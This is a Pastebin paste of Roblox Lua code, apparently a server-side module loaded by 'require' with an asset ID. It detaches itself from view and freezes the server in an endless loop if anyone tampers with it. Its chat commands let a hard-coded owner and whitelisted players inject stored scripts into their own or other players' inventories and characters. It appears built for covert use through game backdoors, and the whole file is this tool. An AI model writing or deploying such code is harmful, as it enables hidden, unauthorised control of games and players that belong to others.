Advertisement
Guest User

beegy

a guest
Aug 19th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.67 KB | None | 0 0
  1. script.Parent = nil
  2. local TheOwnerName = ""
  3. local Module = script;
  4. local Scripts = {};
  5. local Text = Instance.new("Message",workspace)
  6. game:GetService("Debris"):AddItem(Text, 3)
  7. Text.Text = "123jl123 Modules has been loaded (this message will go away after 3 sec) and no i wont give you an list..."
  8. local whitelisttab = {}
  9.  
  10.  
  11. function scan(Thing)
  12. for _, v in pairs(Thing:GetChildren()) do
  13. if v:IsA("Script") and not v:IsA("LocalScript") then
  14. local Bool = Instance.new("BoolValue",v)
  15. Bool.Name = "WasOn"
  16. if v.Disabled == false then
  17. Bool.Value = false
  18. else
  19. Bool.Value = true
  20. end
  21. v.Disabled = true
  22. end
  23. if not v:IsA("Tool") then
  24. scan(v)
  25. end
  26. end
  27. end
  28.  
  29.  
  30.  
  31. function scan2(Thing)
  32. for _, v in pairs(Thing:GetChildren()) do
  33. if v:IsA("BoolValue") and v.Name == "WasOn" then
  34. if v.Value == false then
  35. v.Parent.Disabled = false
  36. else
  37. v.Parent.Disabled = true
  38. end
  39. v:Destroy()
  40. else
  41. scan2(v)
  42. end
  43. end
  44. end
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57. for _,v in next, Module.Scripts:GetChildren'' do
  58. scan(v)
  59. Scripts[v.Name:lower()] = v:Clone();
  60. v:Remove()
  61. end;
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68. Module.Changed:connect(function() repeat while true do end until nil end)
  69.  
  70.  
  71. wait(3)
  72.  
  73.  
  74. local Players = game:GetService("Players");
  75.  
  76.  
  77. local FatPlayer = nil
  78.  
  79.  
  80.  
  81. function ListPlr(fundfat)
  82.  
  83. if fundfat ~= nil then
  84. local FatPlayer2 = fundfat
  85.  
  86. local function Chatfat(Message2)
  87.  
  88. coroutine.resume(coroutine.create(function()
  89. if string.sub(Message2,1,7) == "script/" then
  90. if(Scripts[string.sub(Message2,8):lower()])then
  91. local given = Scripts[string.sub(Message2,8):lower()]
  92.  
  93. local gscript = given:Clone()
  94.  
  95.  
  96. gscript:WaitForChild("PlayerName").Value = FatPlayer2.Name
  97. gscript.Parent = FatPlayer2:FindFirstChildOfClass("PlayerGui") or FatPlayer2:FindFirstChildOfClass("Backpack") or FatPlayer2.Character;
  98.  
  99.  
  100. for _,v in next, gscript:GetChildren() do
  101. scan(v)
  102. end
  103. end
  104. end;
  105. end))
  106.  
  107.  
  108. end
  109.  
  110. FatPlayer2.Chatted:connect(Chatfat)
  111.  
  112.  
  113. end
  114.  
  115.  
  116. end
  117.  
  118.  
  119.  
  120. coroutine.resume(coroutine.create(function()
  121. while TheOwnerName == "" do wait() end
  122. Me = nil
  123. if Players:FindFirstChild(TheOwnerName) then
  124. Me = Players:WaitForChild(TheOwnerName)
  125. end
  126. local Chat2 = function(Message)
  127.  
  128.  
  129. coroutine.resume(coroutine.create(function()
  130. if string.sub(Message,1,7) == "script/" then
  131. if(Scripts[string.sub(Message,8):lower()])then
  132. local given = Scripts[string.sub(Message,8):lower()]
  133.  
  134. local gscript = given:Clone()
  135.  
  136.  
  137. gscript:WaitForChild("PlayerName").Value = Me.Name
  138. gscript.Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  139.  
  140.  
  141. for _,v in next, gscript:GetChildren() do
  142. scan(v)
  143. end
  144. end
  145. end;
  146. end))
  147.  
  148.  
  149. coroutine.resume(coroutine.create(function()
  150. if string.sub(Message,1,10) == "/e script/" then
  151. if(Scripts[string.sub(Message,11):lower()])then
  152. local given = Scripts[string.sub(Message,11):lower()]
  153.  
  154. local gscript = given:Clone()
  155.  
  156.  
  157. gscript:WaitForChild("PlayerName").Value = Me.Name
  158. gscript.Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  159.  
  160.  
  161. for _,v in next, gscript:GetChildren() do
  162. scan(v)
  163. end
  164. end
  165. end;
  166. end))
  167.  
  168.  
  169.  
  170.  
  171. coroutine.resume(coroutine.create(function()
  172. if string.sub(Message,1,4) == "gib/" then
  173. if FatPlayer ~= nil then
  174. if(Scripts[string.sub(Message,5):lower()])then
  175. local given = Scripts[string.sub(Message,5):lower()]
  176.  
  177. local gscript = given:Clone()
  178.  
  179.  
  180. gscript:WaitForChild("PlayerName").Value = FatPlayer.Name
  181. gscript.Parent = FatPlayer:FindFirstChildOfClass("PlayerGui") or FatPlayer:FindFirstChildOfClass("Backpack") or FatPlayer.Character;
  182. coroutine.resume(coroutine.create(function()
  183. local Text = Instance.new("Message",workspace)
  184. game:GetService("Debris"):AddItem(Text, .5)
  185. Text.Text = "Gave[ "..FatPlayer.Name.." ]Script: "..gscript.Name
  186. end))
  187.  
  188. for _,v in next, gscript:GetChildren() do
  189. scan(v)
  190. end
  191. end
  192.  
  193. else
  194. coroutine.resume(coroutine.create(function()
  195. local Text = Instance.new("Message",workspace)
  196. game:GetService("Debris"):AddItem(Text, 1.5)
  197. Text.Text = "Error the player do not exist"
  198. end))
  199.  
  200. end
  201. end;
  202.  
  203.  
  204. end))
  205.  
  206.  
  207.  
  208.  
  209. coroutine.resume(coroutine.create(function()
  210. if string.sub(Message,1,4) == "plr/" then
  211.  
  212. local fundfat = nil
  213. for _, v in pairs(game:GetService("Players"):GetChildren()) do
  214. if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(Message,5):lower() then
  215. fundfat = v
  216. end
  217. end
  218. if fundfat ~= nil then
  219. FatPlayer = fundfat
  220. coroutine.resume(coroutine.create(function()
  221. local Text = Instance.new("Message",workspace)
  222. game:GetService("Debris"):AddItem(Text, .5)
  223. Text.Text = "Player Set To "..FatPlayer.Name
  224. end))
  225. else
  226. coroutine.resume(coroutine.create(function()
  227. local Text = Instance.new("Message",workspace)
  228. game:GetService("Debris"):AddItem(Text, 1.5)
  229. Text.Text = "Error ( "..string.sub(Message,5):lower().." ) could not be found"
  230. end))
  231.  
  232.  
  233. end
  234.  
  235. end;
  236.  
  237.  
  238. end))
  239.  
  240.  
  241. coroutine.resume(coroutine.create(function()
  242. if string.sub(Message,1,4) == "wtl/" and TheOwnerName ~="All" then
  243.  
  244. local fundfat = nil
  245. for _, v in pairs(game:GetService("Players"):GetChildren()) do
  246. if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(Message,5):lower() then
  247. fundfat = v
  248. end
  249. end
  250. if fundfat ~= nil then
  251. local FatPlayer2 = fundfat
  252. coroutine.resume(coroutine.create(function()
  253. local Text = Instance.new("Message",workspace)
  254. game:GetService("Debris"):AddItem(Text, .5)
  255. Text.Text = "Whitlisted "..FatPlayer2.Name
  256. end))
  257. local function Chatfat(Message2)
  258.  
  259. coroutine.resume(coroutine.create(function()
  260. if string.sub(Message2,1,7) == "script/" then
  261. if(Scripts[string.sub(Message2,8):lower()])then
  262. local given = Scripts[string.sub(Message2,8):lower()]
  263.  
  264. local gscript = given:Clone()
  265.  
  266.  
  267. gscript:WaitForChild("PlayerName").Value = FatPlayer2.Name
  268. gscript.Parent = FatPlayer2:FindFirstChildOfClass("PlayerGui") or FatPlayer2:FindFirstChildOfClass("Backpack") or FatPlayer2.Character;
  269.  
  270.  
  271. for _,v in next, gscript:GetChildren() do
  272. scan(v)
  273. end
  274. end
  275. end;
  276. end))
  277.  
  278.  
  279. end
  280.  
  281. FatPlayer2.Chatted:connect(Chatfat)
  282. else
  283. coroutine.resume(coroutine.create(function()
  284. local Text = Instance.new("Message",workspace)
  285. game:GetService("Debris"):AddItem(Text, 1.5)
  286. Text.Text = "Error ( "..string.sub(Message,5):lower().." ) could not be found"
  287. end))
  288.  
  289.  
  290. end
  291.  
  292. end;
  293.  
  294.  
  295. end))
  296.  
  297.  
  298.  
  299. end
  300.  
  301. if game.GameId == 349152601 then
  302.  
  303. for _, v in pairs(game:GetService("Players"):GetChildren()) do
  304.  
  305.  
  306.  
  307. if v:IsA("Player") then
  308. ListPlr(v)
  309. end
  310. end
  311. game:GetService("Players").ChildAdded:connect(function(plry)
  312. if plry:IsA("Player") then
  313. ListPlr(plry)
  314. end end)
  315.  
  316.  
  317. else
  318. if Me ~= nil then
  319. Me.Chatted:connect(Chat2)end
  320. game:GetService("Players").ChildAdded:connect(function(plry)
  321. if plry:IsA("ObjectValue") and plry.Name == "UpdateList" and plry.Value ~= nil then
  322. local plry2 = plry.Value
  323. for i = 1,#whitelisttab do
  324. if plry2:IsA("Player") and plry2.Name == whitelisttab[i] then
  325. ListPlr(plry2)
  326. end end
  327. wait(.5)
  328. plry:Destroy()
  329.  
  330. end
  331.  
  332.  
  333. if plry:IsA("Player") and plry.Name == TheOwnerName then
  334. Me = plry
  335. Me.Chatted:connect(Chat2)
  336. end
  337.  
  338. for i = 1,#whitelisttab do
  339. if plry:IsA("Player") and plry.Name == whitelisttab[i] then
  340. ListPlr(plry)
  341. end
  342. end
  343.  
  344. end)
  345. end
  346. end))
  347.  
  348. return function(name)
  349.  
  350.  
  351. if game.GameId == 349139896 then
  352. print(1)
  353. end
  354.  
  355.  
  356. if game.GameId == 349152601 then
  357.  
  358. local Text2 = Instance.new("Message",workspace)
  359. game:GetService("Debris"):AddItem(Text2, 1)
  360. Text2.Text = "Everyone in place 2 are whitelisted"
  361.  
  362. TheOwnerName = "All"
  363.  
  364.  
  365. else
  366.  
  367. TheOwnerName = "123jl123"
  368.  
  369. if name ~= nil then
  370. local Text2 = Instance.new("Message",workspace)
  371. -- messagethingy(1)
  372.  
  373. game:GetService("Debris"):AddItem(Text2, 2)
  374. Text2.Text = "123jl123 is owner. but "PokiestOfTeeth" is now whitelisted"
  375.  
  376. local fundfat = nil
  377. for _, v in pairs(game:GetService("Players"):GetChildren()) do
  378. if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(name,1):lower() then
  379. for i = 1,#whitelisttab do
  380. if v.Name == whitelisttab[i] or v.Name == TheOwnerName then
  381. break
  382. end
  383. end
  384.  
  385. table.insert(whitelisttab,v.Name)
  386.  
  387. local fati = Instance.new("ObjectValue")
  388. fati.Value=v
  389. fati.Name = "UpdateList"
  390. wait(.5)
  391. fati.Parent = game:GetService("Players")
  392.  
  393. end
  394. end
  395. wait(1)
  396. --ListPlr(fundfat)
  397. end
  398.  
  399. --messagethingy(1)
  400.  
  401.  
  402. end
  403.  
  404.  
  405.  
  406.  
  407. end
  408.  
  409.  
  410.  
  411. --c/require(2358662213)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement